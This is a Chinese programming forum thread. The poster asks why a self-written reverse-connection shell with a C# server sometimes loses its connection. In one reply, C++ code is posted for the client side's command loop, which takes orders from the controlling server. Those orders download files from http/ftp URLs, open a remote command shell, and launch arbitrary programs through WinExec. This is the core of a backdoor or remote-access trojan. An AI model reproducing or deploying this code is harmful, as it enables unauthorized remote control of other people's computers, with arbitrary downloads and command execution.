我写了个小程序,实现反弹连接的shell.服务端用c#写的
问题就是一般情况下都正常,偶尔会发现无法连接了.看客户端的连接
还是ESTABLISHED.

解决方案 »

  1.   

    至于无法连接,你应该检查一下你写的Server或Client是否有问题
      

  2.   

    不会有问题的,我的程序服务器端就是用C#写的,客户端就有C++和VB写的,没有问题
      

  3.   

    贴一段可能出现问题的代码...........既然c#服务端这边的程序已经关掉而客户端没反映并且一直处于ESTABLISHED.我想应该是客户端的问题吧.
    void TalkWithClient (SOCKET client){
    char cmd[KEY_BUFF];
    char chr[1];
    int i=0,j=0;
    int err;
    while(1) {
    ZeroMemory(cmd,KEY_BUFF);
    //if (send (client,p,strlen(p),0)<=0){
    if ((err=send (client,"*",1,0))<=0){
    err=GetLastError();
    closesocket(client);
    return ;
    }


    j=0;
        // auto support standard telnet client
    while(j<KEY_BUFF) {
    if((err=recv(client,chr,1,0))!=1) {
    err=GetLastError();
    closesocket(client);
    return ;
    }
    cmd[j]=chr[0];
    if(chr[0]==0xa || chr[0]==0xd) {
    cmd[j]=0;
    break;
    }
    j++;
    }

    // download file
    if(strstr(cmd,"http://")||strstr(cmd,"ftp://")) {
    send(client,msg_ws_down,strlen(msg_ws_down),0);
    if(DownloadFile(cmd,client))
    send(client,msg_ws_err,strlen(msg_ws_err),0);
    else
    send(client,msg_ws_ok,strlen(msg_ws_ok),0);
    continue;
    }
    else {
    switch(cmd[0]) {
    // enter cmd shell
    case 's': {
    DoExec(client);
    break;
    }
    //run app
    case 'r': {

    char *lpCmdLine;
    if (strlen(cmd)>2){
    lpCmdLine=cmd+2;
    if (WinExec (lpCmdLine,SW_SHOW)>32)
    {
    send(client,msg_ws_ok,strlen(msg_ws_ok),0);
    break;
    }
    }
    send(client,msg_ws_err,strlen(msg_ws_err),0);
    break;
    }

    case '\0':
    break;
    default :{
    send(client,msg_ws_err,strlen(msg_ws_err),0);
    break;
    } }//switch
    }//else
    }//talkwith

    return ;
    }
      

  4.   

    你拿Linux或者MAC下面的Socket写都是一样的……